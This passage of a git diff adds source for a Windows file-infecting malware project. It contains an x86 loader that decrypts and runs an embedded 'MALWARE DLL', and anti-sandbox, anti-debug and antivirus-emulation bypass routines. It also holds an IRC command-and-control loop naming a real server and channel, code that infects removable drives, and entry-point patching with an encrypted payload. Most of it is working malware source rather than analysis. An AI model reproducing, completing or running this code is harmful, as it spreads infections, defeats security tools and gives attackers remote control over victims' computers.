[NT-HEADER + 0x18] = opt header magic + mov edx,eax + xor eax,eax + mov ax,[edx] + cmp ax,0x010b ; 0x010b = PE32 + jne short __ldr_ReadPE_fail + ; entry point VA + mov eax,ecx + add eax,0x28 + mov eax,[eax] + mov [ebp + OFF_ADROFENTRY],eax + ; get image base && image size + mov eax,ecx + add eax,0x34 ; [NT-HEADER + 0x34] = ImageBase + mov eax,[eax] + test eax,eax ; check if ImageBase is not NULL + jz short __ldr_ReadPE_fail + mov [ebp + OFF_IMAGEBASE], eax + mov eax,ecx + add eax,0x50 ; [NT-HEADER + 0x50] = SizeOfImage + mov eax,[eax] + test eax,eax + jz short __ldr_ReadPE_fail ; check if ImageSize is not zero + mov [ebp + OFF_SIZOFIMAGE], eax + ; get size of headers + mov eax,ecx + add eax,0x54 ; [NT-HEADER + 0x54] = SizeOfHeaders + mov eax,[eax] + test eax,eax + jz short __ldr_ReadPE_fail + mov [ebp + OFF_SIZOFHEADR], eax + ; get number of sections + mov edx,ecx + add edx,0x6 ; [NT-HEADER + 0x8] = NumberOfSections + xor eax,eax + mov ax,[edx] + test eax,eax + jz short __ldr_ReadPE_fail + mov [ebp + OFF_NUMSECTION], eax + ; get ptr to first section + mov edx,ecx + add edx,0x14 ; [NT-HEADER + 0x14] = SizeOfOptionalHeaders + xor eax,eax + mov ax,[edx] + mov edx,eax + mov eax,ecx + add eax,0x18 + add eax,edx ; [NT-HEADER + 0x18 + SizeOfOptionalHeaders] = FirstSection + mov [ebp + OFF_FSTSECTION], eax + ; return true + xor eax,eax + inc eax + ret + __ldr_ReadPE_fail: + xor eax,eax + ret + + + +; Loader Entry +__ldr_start: + ; new stack frame + push ebp + ; save gpr+flag regs + pushad + pushfd + ; GET POINTER TO CONST DATA + jmp near __ldr_ConstData + __ldr_gotConstData: + pop esi ; pointer to const data in ESI + ; RESERVE STACK memory + sub esp, [esi + ESI_MINSTACK] + mov ebp, esp ; backup ptr for subroutines + push esi ; required to make REPMOVSD work! + + call __ldr_getModuleHandleKernel32PEB ; module handle in eax + mov [ebp + OFF_KERNEL32],eax + test eax,eax ; check if module handle is not NULL + jz __ldr_end_esi + call __ldr_getAdrOfGetProcAddress ; adr of GetProcAddress in eax + mov [ebp + OFF_PROCADDR],eax + + ; copy encrypted 'VirtualAlloc','IsBadReadPtr' string to [ebp + OFF_STRVALLOC],[epb + OFF_STRRPTR] + xor ecx,ecx + mov cl,STRIVKEYSIZE ; siz (ivkeysize) + mov esi,[esp] ; src = esi + add esi,ESI_STRVALLOC ; src + mov edi,ebp + add edi,OFF_STRVALLOC ; dst + rep movsd ; memcpy + xor ecx,ecx + mov cl,STRIVKEYSIZE ; siz (ivkeysize) + mov esi,[esp] ; srx = esi + add esi,ESI_STRRPTR ; src + mov edi,ebp + add edi,OFF_STRRPTR ; dst + rep movsd ; memcpy + + ; decrypt 'VirtualAlloc' string + mov esi,[esp] ; decryption routine needs esi + push dword STRIVKEYSIZE ; ivkeysize + mov eax,esi + add eax,ESI_DLLKEY + push dword eax ; key_ptr32 + mov eax,esi + add eax,ESI_DLLIV + push dword eax ; iv_ptr32 + push dword LEN_STRVALLOC ; size_u32 + mov eax,ebp + add eax,OFF_STRVALLOC + push dword eax ; buffer_ptr32 + call __decrypt_x86 ; decryption routine (see: source/decrypter_x86.asm) + add esp,0x14 ; cleanup arguments + mov byte [ebp + OFF_STRVALLOC + LEN_STRVALLOC],0x00 + test al,0xFF + jz __ldr_end_esi + + ; decrypt 'IsBadReadPtr' string + mov esi,[esp] ; decryption routine needs esi + push dword STRIVKEYSIZE ; ivkeysize + mov eax,esi + add eax,ESI_DLLKEY + push dword eax ; key_ptr32 + mov eax,esi + add eax,ESI_DLLIV + push dword eax ; iv_ptr32 + push dword LEN_STRRPTR ; size_u32 + mov eax,ebp + add eax,OFF_STRRPTR + push dword eax ; buffer_ptr32 + call __decrypt_x86 ; decryption routine (see: source/decrypter_x86.asm) + add esp,0x14 ; cleanup arguments + mov byte [ebp + OFF_STRRPTR + LEN_STRRPTR],0x00 + test al,0xFF + jz __ldr_end_esi + + pop esi ; restore esi (ptr to const data) + + ; *** STACK LAYOUT *** + ; [ebp] = Kernel32Base | [ebp + 0x04] = PtrGetProcAddress + ; [ebp + 0x08] = PtrVirtualAlloc | [ebp + 0x0C] = PtrIsBadReadPtr + ; [ebp + 0x10] = AddressOfEntryPoint + ; [ebp + 0x14] = ImageBase | [ebp + 0x18] = SizeOfImage + ; [ebp + 0x1C] = SizeOfHeaders | [ebp + 0x20] = FirstSection + ; [ebp + 0x24] = NumberOfSections | [ebp + 0x28] = vallocBuf + ; [ebp + 0x2C] = sz'VirtualAlloc' | [ebo + 0x39] = sz'IsBadReadPtr' + + ; GetProcAddress(KERNEL32BASE, 'VirtualAlloc') + mov ebx, [ebp + OFF_KERNEL32] ; KERNEL32BASE + mov ecx, ebp + add ecx, OFF_STRVALLOC + call __ldr_getProcAddress ; eax holds function pointer of VirtualAlloc + test eax,eax + jz __ldr_end + mov [ebp + OFF_VALLOC], eax + ; GetProcAddress(KERNEL32BASE, 'IsBadReadPtr') + mov ecx, ebp + add ecx, OFF_STRRPTR + call __ldr_getProcAddress ; eax holds function pointer of IsBadReadPtr + test eax,eax + jz __ldr_end + mov [ebp + OFF_BADRPTR], eax + ; check if malware dll pointer is valid + mov ebx, [esi + ESI_PTRDLL] + mov [ebp + OFF_PTRDLL], ebx + mov ecx, [esi + ESI_SIZDLL] + call __ldr_isBadReadPtr + test eax,eax + jnz __ldr_end + ; ReadPE + mov ebx, [ebp + OFF_PTRDLL] + call __ldr_ReadPE + test al,0x01 + jnz __ldr_validPE + + ; VirtalAlloc(...) encrypted DLL section + xor ebx, ebx + mov ecx, [esi + ESI_SIZDLL] + xor al,al + inc al + call __ldr_VirtualAlloc + test eax,eax + jz __ldr_end + mov [ebp + OFF_PTRDLL], eax + ; copy encrypted DLL section to alloc'd ptr + push esi + mov eax,[esi + ESI_SIZDLL] ; siz + xor ecx,ecx + xor edx,edx + mov cl,0x04 + div ecx + mov ecx,eax + mov esi,[esi + ESI_PTRDLL] ; src + mov edi,[ebp + OFF_PTRDLL] ; dst + rep movsd ; memcpy + pop esi + ; decrypt PE + push esi + push dword IVKEYSIZE ; ivkeysize + mov eax,esi + add eax,ESI_DLLKEY + push dword eax ; key_ptr32 + mov eax,esi + add eax,ESI_DLLIV + push dword eax ; iv_ptr32 + push dword [esi + ESI_SIZDLL] ; size_u32 + push dword [ebp + OFF_PTRDLL] ; buffer_ptr32 + call __decrypt_x86 ; decryption routine (see: source/decrypter_x86.asm) + add esp,0x14 ; cleanup arguments + pop esi + dec eax + test eax,0xFFFFFFFF + jz __ldr_end + ; read dll pe header (ebx = PtrToDLL) + mov ebx,[ebp + OFF_PTRDLL] + call __ldr_ReadPE + test al,0x01 + jz __ldr_end + + __ldr_validPE: + ; VirtualAlloc(...) + mov ebx,[ebp + OFF_IMAGEBASE] ; ImageBase (MALWARE-DLL) + mov ecx,[ebp + OFF_SIZOFIMAGE] ; SizeOfImage (MALWARE-DLL) + xor al,al + call __ldr_VirtualAlloc ; eax holds pointer to allocated memory + test eax,eax + jz __ldr_end + mov [ebp + OFF_VALLOCBUF],eax + ; copy sections + mov ecx,[ebp + OFF_NUMSECTION] + mov ebx,[ebp + OFF_FSTSECTION] + __ldr_section_copy: + mov edx,ebx + add edx,0xc ; RVA of section[i] + mov edx,[edx] + add edx,[ebp + OFF_VALLOCBUF] ; VA of section[i] + mov edi,ebx + add edi,0x10 + mov edi,[edi] ; SizeOfRawData + mov eax,ebx + add eax,0x14 + mov eax,[eax] + add eax,[ebp + OFF_PTRDLL] + ; copy one section + pushad + mov ebx,eax ; src + mov eax,edi ; siz + mov edi,edx ; dst + xor ecx,ecx + xor edx,edx + mov cl,0x04 + div ecx + mov ecx,eax + mov esi,ebx ; src + rep movsd ; memcpy + popad + ; next + add ebx,0x28 ; sizeof(IMAGE_SECTION_HEADER) + loop __ldr_section_copy + ; CRT Entry Point + mov eax,[ebp + OFF_ADROFENTRY] ; RVA + add eax,[ebp + OFF_VALLOCBUF] ; DLL image start adr (RWX) -> ImageBase + push esi ; save esi for stack cleanup + ; arguments + mov ebx,0xdeadbeef ; identificator + mov ecx,[ebp + OFF_PROCADDR] ; getProcAdr + mov edx,[ebp + OFF_KERNEL32] ; Kernel32Base + mov edi,[ebp + OFF_VALLOCBUF] ; dll base adr + push dword [ebp + OFF_PTRDLL] + call eax ; call AddressOfEntry (MALWARE-CRT) + pop esi +__ldr_end_esi: + pop esi +__ldr_end: + ; CLEANUP STACK + mov ebx,[esi + ESI_MINSTACK] + add esp,ebx + ; restore old gpr+flag regs + popfd + popad + ; cleanup stack frame + pop ebp + ; NOPs (can be overwritten by the MALWARE if JMP to __ldr_start was injected + ; replaceable nops (15 bytes max instruction length for x86/x86_64) + nop + nop + nop + nop + nop + nop + nop + nop + nop + nop + nop + nop + nop + nop + nop + ; `jump back` nops + nop + nop + nop + nop + nop + ; return if call'd + ret + ; CONSTS MODIFIED BY THE MALWARE + __ldr_ConstData: + call near __ldr_gotConstData + ; struct loader_x86_data (see: include/loader.h) +__ldr_struct: + + dd STACKMEM ; minimal stack size (used by source/patch.c) + db STRVALLOC ; encrypted str for getprocadr (used by source/tools/file_crypt.c) + db STRRPTR ; " " " " (used by source/tools/file_crypt.c) + db NULL,NULL,NULL,NULL ; iv[0..3] + db NULL,NULL,NULL,NULL ; iv[4..7] + db NULL,NULL,NULL,NULL ; key[0..3] + db NULL,NULL,NULL,NULL ; key[4..7] + db NULL16 ; DLL Flags + db NULL ; Pointer to MALWARE DLL (used by batch/patchLoader.py and source/patch.c) + db NULL ; Size of MALWARE DLL (used by batch/patchLoader.py and source/patch.c) + db _LOADER_ENDMARKER ; unused, end marker (currently used by batch/patchLoader.py, source/tools/file_crypt.c and source/pe_infect.c) + +LOADER_SIZE EQU ($ - __ldr_struct) diff --git a/source/main.c b/source/main.c new file mode 100644 index 0000000..754cac0 --- /dev/null +++ b/source/main.c @@ -0,0 +1,314 @@ +#include "compat.h" +#include "log.h" +#include "utils.h" +#include "file.h" +#include "mem.h" +#include "pe_infect.h" +#include "aes.h" +#include "crypt.h" +#include "crypt_strings.h" +#include "xor_strings_gen.h" +#include "loader.h" +#ifdef _ENABLE_IRC +#include "irc.h" +#else +#include "http.h" +#endif + +/* TODO: https://www.apriorit.com/dev-blog/367-anti-reverse-engineering-protection-techniques-to-use-before-releasing-software */ + +static DWORD +sandboxCheck_00(DWORD dllBaseAdr) +{ + // dllBaseAdr-0x1 should be an invalid HANDLE + _CloseHandle((HANDLE)(dllBaseAdr-0x1)); // see https://msdn.microsoft.com/en-us/library/windows/desktop/ms724211(v=vs.85).aspx + return (_GetLastError() == ERROR_INVALID_HANDLE); +} + +static DWORD +debugCheck_00(DWORD dllBaseAdr) +{ + // see https://books.google.de/books?id=DhuTduZ-pc4C&pg=PA353&lpg=PA353&dq=outputdebugstring+error+code&source=bl&ots=3dkMSmS5cu&sig=ZuCXfiHmd94q1KQgdBIRiPS_uPE&hl=en&sa=X&ved=0ahUKEwj2v97bpPHQAhVFSBQKHRbaAaMQ6AEISjAG#v=onepage&q=outputdebugstring%20error%20code&f=false + DWORD errorValue = 0xdeadbabe; + _SetLastError(errorValue); + char* tmp = __genGarbageFormatStr(512); + _OutputDebugString(tmp); + free(tmp); + return dllBaseAdr; +} + +/* bypass Emulation based AV's: https://www.blackhat.com/docs/us-14/materials/us-14-Mesbahi-One-Packer-To-Rule-Them-All-WP.pdf */ +static DWORD +emu_bypass_fs2(void) +{ + DBUF(COUNTER_KERNEL32_ENUM, __fakeLibKernel32); + DBUF(COUNTER_UNKNOWNLIB_ENUM, __unknownLib); + + HMODULE libPtr = _LoadLibrary((LPCSTR)__fakeLibKernel32); + if (libPtr == NULL) return 0; + libPtr = _LoadLibrary((LPCSTR)__unknownLib); + if (libPtr != NULL) return 0; + char* libRnd = __genRandAlphaNumStr(10); + libRnd[9] = 'L'; + libRnd[8] = 'L'; + libRnd[7] = 'D'; + libRnd[6] = '.'; + libPtr = _LoadLibrary(libRnd); + COMPAT(free)(libRnd); + if (libPtr != NULL) return 0; + return 1; +} + +/* see: https://github.com/Neosama/AntiSandBox-with-Drivers/blob/master/lib.h */ +static BOOL AntiSandbox_Drivers(void) +{ + DBUF(DXGKRNL_ENUM, __dxgkrnl); + DBUF(NWIFI_ENUM, __nwifi); + DBUF(KSTHUNK_ENUM, __ksthunk); + DBUF(VWIFIFLT_ENUM, __vwififlt); + LPVOID drivers[1024]; + DWORD cbNeeded; + int cDrivers, i; + int score = 0; + +#ifdef _PRE_RELEASE + COMPAT(printf)("AntiSandbox: %s, %s, %s, %s\n", __dxgkrnl, __nwifi, __ksthunk, __vwififlt); +#endif + if (_EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded < sizeof(drivers)) { + TCHAR szDriver[1024]; + cDrivers = cbNeeded / sizeof(drivers[0]); + for (i = 0; i < cDrivers; i++) { + if (_GetDeviceDriverBaseNameA(drivers[i], szDriver, sizeof(szDriver) / sizeof(szDriver[0]))) { + if (COMPAT(strnicmp)(szDriver, __dxgkrnl, sizeof __dxgkrnl) == 0) { + score++; + } + if (COMPAT(strnicmp)(szDriver, __nwifi, sizeof __nwifi) == 0) { + score++; + } + if (COMPAT(strnicmp)(szDriver, __ksthunk, sizeof __ksthunk) == 0) { + score++; + } + if (COMPAT(strnicmp)(szDriver, __vwififlt, sizeof __vwififlt) == 0) { + score++; + } + } + } + } + + if (score >= 2) + return TRUE; + + return FALSE; +} + +__volatile__ __stdcall void* _main(void* kernel32, void* getProcAdr, void* dllBaseAdr, const struct loader_x86_data* ldr_orig, void* real_dllptr) __asm__("__main"); + +static DWORD dwRelocDiff = 0; + +static BOOL startThread(HANDLE* phThread, LPTHREAD_START_ROUTINE threadFunc) +{ + if (*phThread == NULL) { + _SetLastError(0); + *phThread = _CreateThread(NULL, 0, threadFunc, NULL, CREATE_SUSPENDED, NULL); + if (!*phThread) + return FALSE; + if (*phThread == INVALID_HANDLE_VALUE) { + LOG_MARKER; + return FALSE; + } else { + CONTEXT thrdCtx; + thrdCtx.ContextFlags = CONTEXT_FULL; + _GetThreadContext(*phThread, &thrdCtx); + thrdCtx.Eip = (DWORD)threadFunc; +#ifdef _PRE_RELEASE + COMPAT(printf)("Thread %p: Set Thread EIP to 0x%p\n", *phThread, thrdCtx.Eip); +#endif + thrdCtx.ContextFlags = CONTEXT_CONTROL; + _SetThreadContext(*phThread, &thrdCtx); + _ResumeThread(*phThread); + } + } + return TRUE; +} + +static HANDLE hThread = NULL, hNetThread = NULL; + +/* Do not use lpParams (broken CreateThread and this is not a valid Windows module! */ +static DWORD WINAPI __attribute__((noreturn)) __thread_net(LPVOID lpParams) +{ + (void)lpParams; + do { + _SwitchToThread(); /* wait until main thread setup all stuff */ + _WaitForSingleObject(hNetThread, 10000); + } +#ifdef _ENABLE_IRC + while (initSocket(_LoadLibrary, _GetProcAddress) != 0); +#else + while (initHttp(_LoadLibrary, _GetProcAddress) != 0); +#endif + + while (1) { + +#ifdef _ENABLE_IRC + if (ircLoop("muzzling", "#blkhtm", "dreamhack.se.quakenet.org", "6667") == 0) { + shutSocket(); + } +#ifdef _PRE_RELEASE + COMPAT(printf)("%s\n", "irc: ERROR"); +#endif +#else + //sendWeb2Tor("/", "GET", NULL, 0); /* testing only */ + httpLoopAtLeastOnce(); + uint32_t npt = getNextPingTime(); + _WaitForSingleObject(hNetThread, (npt > 0 ? npt*1000 : 60000)); +#endif + } +} + +/* Do not use lpParams (broken CreateThread and this is not a valid Windows module! */ +static DWORD WINAPI __attribute__((noreturn)) __thread_main(LPVOID lpParams) +{ + /* TODO: SetUnhandledExceptionFilter */ + /* Main Thread, Main Loop */ + (void)lpParams; + while (1) { + /* NOTE: At this point dllBaseAdr should always the same as real_dllptr. */ + /* NOTE: Param dllBaseAdr must be NULL, so _main knows it is already rebased! */ + _main(NULL, NULL, NULL, getOrigLoader(), NULL); + _WaitForSingleObject(hThread, 5000); + } +} + +__volatile__ __stdcall void* _main(void* kernel32, void* getProcAdr, void* dllBaseAdr, const struct loader_x86_data* ldr_orig, void* real_dllptr) +{ + /* Abort, if not started by own loader/base. */ + /* (e.g. loaded with LoadLibrary/loadmodule) */ + if (!ldr_orig) + return NULL; + + { + void* dllSectionAdr = (void*)ldr_orig->ptrToDLL; + uint32_t dllSize = ldr_orig->sizOfDLL; + + /* IMAGE REBASING */ + if (dllBaseAdr && (DWORD)dllBaseAdr != _MILLER_IMAGEBASE) { + dwRelocDiff = dwDoRebase((real_dllptr ? real_dllptr : dllSectionAdr), dllSize, dllBaseAdr); + if (!dwRelocDiff) return NULL; + } else if (!dllBaseAdr) { + /* came from __thread_main(...) */ + dllBaseAdr = (void*)getImageBase(); + } + + /* _main called by Thread? */ + if (hThread != NULL) { + goto _THREAD_STARTED; + } + + setOrigLoader(ldr_orig); + EMBED_BREAKPOINT; + if (!kernel32 || !getProcAdr) return NULL; + EMBED_BREAKPOINT; + setSectionAdr((DWORD)dllSectionAdr); + setImageBase((DWORD)dllBaseAdr); + setImageSize(dllSize); + EMBED_BREAKPOINT; + if (!bInitCompat(kernel32, getProcAdr)) return NULL; + +#ifdef _PRE_RELEASE + COMPAT(printf)("%s\n", "AntiAV / AntiDbg"); +#endif + /* anti av && anti debug */ + if (!sandboxCheck_00(getImageBase())) + return NULL; + EMBED_BREAKPOINT; + if (!debugCheck_00(getImageBase())) + return NULL; + if (!emu_bypass_fs2()) + return NULL; + if (AntiSandbox_Drivers()) + return NULL; + + /* decrypted dll? if yes, free decrypted dll binary */ + if (real_dllptr && (void*)ldr_orig->ptrToDLL != real_dllptr) { + _VirtualFree(real_dllptr, 0, MEM_RELEASE); + } + +#ifdef _PRE_RELEASE + COMPAT(printf)("%s\n", "Starting Threads .."); +#endif + /* Start Main DLL Thread */ + if (hThread == NULL) { + if (!startThread(&hThread, __thread_main)) { + LOG_MARKER; + } else { +/* +#ifdef _PRE_RELEASE + _WaitForSingleObject(hThread, INFINITE); +#endif +*/ + } + } + if (hNetThread == NULL) { + if (!startThread(&hNetThread, __thread_net)) { + LOG_MARKER; + } else { +/* +#ifdef _PRE_RELEASE + _WaitForSingleObject(hNetThread, INFINITE); +#endif +*/ + } + } +#ifdef _PRE_RELEASE + COMPAT(printf)("%s\n", "Returning to original execution flow."); +#endif + return hThread; + } + +_THREAD_STARTED: + + /* dwRelocDiff != 0 if relocated */ + if (dwRelocDiff) { + } + aes_init(); + +#ifdef _EXTRA_VERBOSE + SIZE_T ldrsiz = 0; + BYTE* ldr = getLoader(&ldrsiz); + printf("Loader: 0x%p\n", ldr); + printf("Loader size: %u (0x%p)\n", getRealLoaderSize(), getRealLoaderSize()); + printf("Loader content: "); + __printByteBuf(ldr, getRealLoaderSize()); + printf("Running PRE-Release: _main(...) -> %p\n", _main); + printf("ImageBase........: 0x%p\n" + "ImageSize........: 0x%p\n" + "SectionAdr.......: 0x%p\n" + "RelocDiff........: 0x%p\n", + getImageBase(), getImageSize(), getSectionAdr(), dwRelocDiff); + + COMPAT(free)(ldr); +#endif + +#ifdef _INFECT_DUMMY + char* file = "dummy.exe"; +#ifdef _PRE_RELEASE + printf("Infecting File: %s\n", file); +#endif + if (bInfectWithMyself(file)) + { +#ifdef _PRE_RELEASE + puts("Infection done.\n"); +#endif + } +#ifdef _PRE_RELEASE + else puts("Infection failed.\n"); +#endif +#endif + +#ifndef _INFECT_DUMMY + dwInfectRemovables(); +#endif + aes_cleanup(); + return (void*)0xdeadc0de; +} + diff --git a/source/math.c b/source/math.c new file mode 100644 index 0000000..c8eafee --- /dev/null +++ b/source/math.c @@ -0,0 +1,135 @@ +#include "compat.h" +#include "math.h" + + +uint64_t __udivmoddi4(uint64_t num, uint64_t den, uint64_t * rem_p) +{ + uint64_t quot = 0, qbit = 1; + + if (den == 0) { + asm volatile ("int $0"); + return 0; /* If trap returns... */ + } + + /* Left-justify denominator and count shift */ + while ((int64_t) den >= 0) { + den <<= 1; + qbit <<= 1; + } + + while (qbit) { + if (den <= num) { + num -= den; + quot += qbit; + } + den >>= 1; + qbit >>= 1; + } + + if (rem_p) + *rem_p = num; + + return quot; +} + +/* slightly modified version from + * https://code.google.com/p/embox/source/browse/trunk/embox/src/lib/gcc + * _thx_ + */ + +UINT64 __udivdi3(UINT64 num, UINT64 den) +{ + UINT64 result = 0; + int steps; + + if (den == 0) + { + return 0; + } + + steps = 0; + result = 0; + + while (!(den & 0x8000000000000000)) + { + den <<= 1; + ++steps; + } + + do + { + result <<= 1; + if (num >= den) + { + result |= 1; + num -= den; + } + den >>= 1; + } + while (steps--); + + return result; +} + +INT64 __divdi3(INT64 num, INT64 den) +{ + INT64 quot; + int neg; + + num = num < 0 ? (neg = 1, -num) : (neg = 0, num); + den = den < 0 ? (neg ^= 1, -den) : den; + + quot = __udivdi3(num, den); + + return neg ? -quot : quot; +} + +INT64 __moddi3(INT64 num, INT64 den) +{ + INT64 rem; + int neg; + + num = num < 0 ? (neg = 1, -num) : (neg = 0, num); + den = den < 0 ? (neg ^= 1, -den) : den; + + rem = __umoddi3(num, den); + + return neg ? -rem : rem; +} + +UINT64 __umoddi3(UINT64 num, UINT64 den) +{ + int steps; + + if (den == 0) + { + return 0; + } + + steps = 0; + + while (!(den & 0x8000000000000000)) + { + den <<= 1; + ++steps; + } + + do + { + if (num >= den) + { + num -= den; + } + den >>= 1; + } + while (steps--); + + return num; +} + +size_t __pow(size_t x, size_t n) +{ + if (n > 0) { + return x*__pow(x, n-1); + } else return 1; +} diff --git a/source/patch.c b/source/patch.c new file mode 100644 index 0000000..6826619 --- /dev/null +++ b/source/patch.c @@ -0,0 +1,247 @@ +#include "compat.h" + +#include "utils.h" +#include "patch.h" +#include "pe_infect.h" +#include "log.h" +#include "loader.h" +#include "crypt.h" + +#include "distorm/distorm.h" +#include "distorm/mnemonics.h" +#include "disasm.h" + + +void patchRelJMP(BYTE* buf, DWORD destVA) +{ + *(buf) = 0xE9; + DWORD dwVALittle = destVA; + COMPAT(memcpy)(buf+1, &dwVALittle, 4); +} + +BOOL bPatchLoader(const struct ParsedPE* ppe) +{ + /* Patch Loader Trailer */ + if (ppe->loader86->sizStack < ppe->hdrOptional->SizeOfStackCommit) { + /* Loader should reserve at least SizeOfStackCommit bytes at startup. * + * (Some WinAPI functions need this!) */ + ppe->loader86->sizStack += ppe->hdrOptional->SizeOfStackCommit; + } + ppe->loader86->ptrToDLL = PtrToRva(ppe, ppe->ptrToDLL); + ppe->loader86->sizOfDLL = ppe->sizOfDLL; + const struct loader_x86_data* orig_ldr = getOrigLoader(); + if (orig_ldr) { + if (ppe->hasLdr) { + /* generate xor key/iv */ + struct loader_x86_data* ldr = ppe->loader86; + for (unsigned i = 0; i < LOADER_IVKEYLEN; ++i) { + while (ldr->key[i] == 0) ldr->key[i] = xor32_randomkey(); + while (ldr->iv[i] == 0) ldr->iv[i] = xor32_randomkey(); + } + /* encrypt loader strings */ + size_t newsiz = xor32n_pcbc_crypt_buf((uint32_t*)&ldr->strVirtualAlloc[0], (sizeof(ldr->strVirtualAlloc)/sizeof(ldr->strVirtualAlloc[0])) - sizeof(ldr->strVirtualAlloc[0]), &ldr->iv[0], &ldr->key[0], LOADER_STR_IVKEYLEN); + if (newsiz != (sizeof(ldr->strVirtualAlloc)/sizeof(ldr->strVirtualAlloc[0])) - sizeof(ldr->strVirtualAlloc[0])) { + LOG_MARKER; + } + newsiz = xor32n_pcbc_crypt_buf((uint32_t*)&ldr->strIsBadReadPtr[0], (sizeof(ldr->strIsBadReadPtr)/sizeof(ldr->strIsBadReadPtr[0])) - sizeof(ldr->strIsBadReadPtr[0]), &ldr->iv[0], &ldr->key[0], LOADER_STR_IVKEYLEN); + if (newsiz != (sizeof(ldr->strIsBadReadPtr)/sizeof(ldr->strIsBadReadPtr[0])) - sizeof(ldr->strIsBadReadPtr[0])) { + LOG_MARKER; + } + /* check if DLL section in current process image is encrypted */ + struct ParsedPE* dllpe = COMPAT(calloc)(1, sizeof(struct ParsedPE)); + if (!bParsePE(ppe->ptrToDLL, ppe->sizOfDLL, dllpe, TRUE)) { + /* assume encrypted dll, decrypt it now */ + const struct loader_x86_data* orig_ldr = getOrigLoader(); + if (!orig_ldr) { + LOG_MARKER; + return FALSE; + } + newsiz = xor32n_pcbc_crypt_buf((uint32_t*)ppe->ptrToDLL, ppe->sizOfDLL, &orig_ldr->iv[0], &orig_ldr->key[0], LOADER_IVKEYLEN); + if (newsiz != ppe->sizOfDLL) { + LOG_MARKER; + } + /* if PE-Header is still invalid, an unknown error occurred */ + if (!bParsePE(ppe->ptrToDLL, ppe->sizOfDLL, dllpe, TRUE)) { + LOG_MARKER; + COMPAT(free)(dllpe); + return FALSE; + } + } + COMPAT(free)(dllpe); + /* encrypt DLL section */ + if (ppe->hasDLL) { + newsiz = xor32n_pcbc_crypt_buf((uint32_t*)ppe->ptrToDLL, ppe->sizOfDLL, &ldr->iv[0], &ldr->key[0], LOADER_IVKEYLEN); + if (newsiz != ldr->sizOfDLL) { + LOG_MARKER; + return FALSE; + } + } else { + LOG_MARKER; + return FALSE; + } + } else { + LOG_MARKER; + return FALSE; + } + } else { + LOG_MARKER; + return FALSE; + } +#ifdef _PRE_RELEASE + if (ppe->hasLdr) { + COMPAT(puts)("LdrXorKey: "); + __printByteBuf((unsigned char*)&ppe->loader86->key[0], sizeof(ppe->loader86->key)); + COMPAT(puts)("LdrXorIV: "); + __printByteBuf((unsigned char*)&ppe->loader86->iv[0], sizeof(ppe->loader86->iv)); + COMPAT(puts)("LdrStrVA: "); + __printByteBuf((unsigned char*)&ppe->loader86->strVirtualAlloc[0], sizeof(ppe->loader86->strVirtualAlloc)); + COMPAT(puts)("LdrStrIBRP: "); + __printByteBuf((unsigned char*)&ppe->loader86->strIsBadReadPtr[0], sizeof(ppe->loader86->strVirtualAlloc)); + } + COMPAT(printf)("LdrTrl: %p (%X)\n", PtrToOffset(ppe, (BYTE*)ppe->loader86), PtrToOffset(ppe, (BYTE*)ppe->loader86)); + COMPAT(printf)("LdrSig: %p , %p , %p\n", ppe->loader86->ptrToDLL, ppe->loader86->sizOfDLL, SWAP_ENDIANESS32(ppe->loader86->endMarker)); + __printByteBuf(ppe->ptrToLdr, getRealLoaderSize()); +#endif + return TRUE; +} + +BOOL bPatchNearEntry(const struct ParsedPE* ppe) +{ + if (!ppe || !ppe->valid) return FALSE; + + DWORD dwEntryRVA = ppe->hdrOptional->AddressOfEntryPoint; + BYTE* pEntry = RvaToPtr(ppe, dwEntryRVA); + SIZE_T maxInstructions = 100; + _DecodeResult res; + _OffsetType offset = 0; + _DecodeType dt = Decode32Bits; + unsigned int decodedInstructionsCount = 0; + + unsigned long long int bytesproc = 0, maxbytesproc = 100; + unsigned long long int filesize = 0; + const unsigned char* entry = (const unsigned char*)pEntry; + unsigned int next; + +#ifdef _PRE_RELEASE + COMPAT(printf)("AddressOfEntry...: 0x%p\n", dwEntryRVA); +#endif + while (1) { + _DInst instData[maxInstructions]; + res = disasm(offset, entry, ppe->bufSiz, dt, instData, maxInstructions, &decodedInstructionsCount); + + for (unsigned int i = 0; i < decodedInstructionsCount; i++) { + bool isRelativeJmpCall = false; + _InstructionType optype = instData[i].opcode; + switch (optype) { + case I_JMP: + case I_CALL: + isRelativeJmpCall = true; + break; + } +#ifdef _PRE_RELEASE + switch (optype) { + case I_DEC: COMPAT(puts)("\tDEC"); break; + case I_INC: COMPAT(puts)("\tINC"); break; + case I_ADD: COMPAT(puts)("\tADD"); break; + case I_SUB: COMPAT(puts)("\tSUB"); break; + case I_MOV: COMPAT(puts)("\tMOV"); break; + case I_PUSH: COMPAT(puts)("\tPUSH"); break; + case I_POP: COMPAT(puts)("\tPOP"); break; + case I_NOP: COMPAT(puts)("\tNOP"); break; + case I_JMP: COMPAT(puts)("\tJMP"); break; + case I_JMP_FAR: COMPAT(puts)("\tJMP FAR"); break; + case I_CALL: COMPAT(puts)("\tCALL"); break; + case I_CALL_FAR: COMPAT(puts)("\tCALL FAR"); break; + case I_TEST: COMPAT(puts)("\tTEST"); break; + case I_CMP: COMPAT(puts)("\tCMP"); break; + case I_RET: COMPAT(puts)("\tRET"); break; + } + if (isRelativeJmpCall) + COMPAT(puts)(" REL"); + COMPAT(printf)("\t%u\t%u\n", (unsigned int)instData[i].size, (unsigned int)instData[i].addr); +#endif + if (instData[i].size >= 5 && instData[i].size <= 10) { + size_t szOffEntry = PtrToOffset(ppe, (BYTE*)entry+bytesproc); +#ifdef _PRE_RELEASE + COMPAT(printf)("Found a patchable instruction at 0x%X\n", instData[i].addr); + COMPAT(printf)("\tPE-Ptr: %p\n", ppe->ptrToBuf); + COMPAT(printf)("\tE-Off.: %p\n", szOffEntry); + COMPAT(printf)("\tE-RVA.: %p\n", PtrToRva(ppe, (BYTE*)entry)); + COMPAT(printf)("\tE-Size: %p\n", instData[i].size); + COMPAT(printf)("\tE-Disp: %p (Size: %p)\n", instData[i].disp, instData[i].dispSize); + COMPAT(printf)("\tE-Inst: "); + __printByteBuf(ppe->ptrToBuf+szOffEntry, 0x10); + if (ppe->hasLdr == TRUE) { + size_t szOffLdr = PtrToOffset(ppe, ppe->ptrToLdr); + COMPAT(printf)("\tLdrRVA: %p (%X)\n", OffsetToRva(ppe, szOffLdr), szOffLdr); + COMPAT(printf)("\tLdr...: "); + __printByteBuf(ppe->ptrToLdr, 0x10); + } +#endif + DWORD dwOffNop = -1; + if (ppe->hasLdr) { + dwOffNop = offFindNopsled(ppe->ptrToLdr, ppe->sizOfLdr, instData[i].size + SIZEOF_X86_JMP32); + } + if 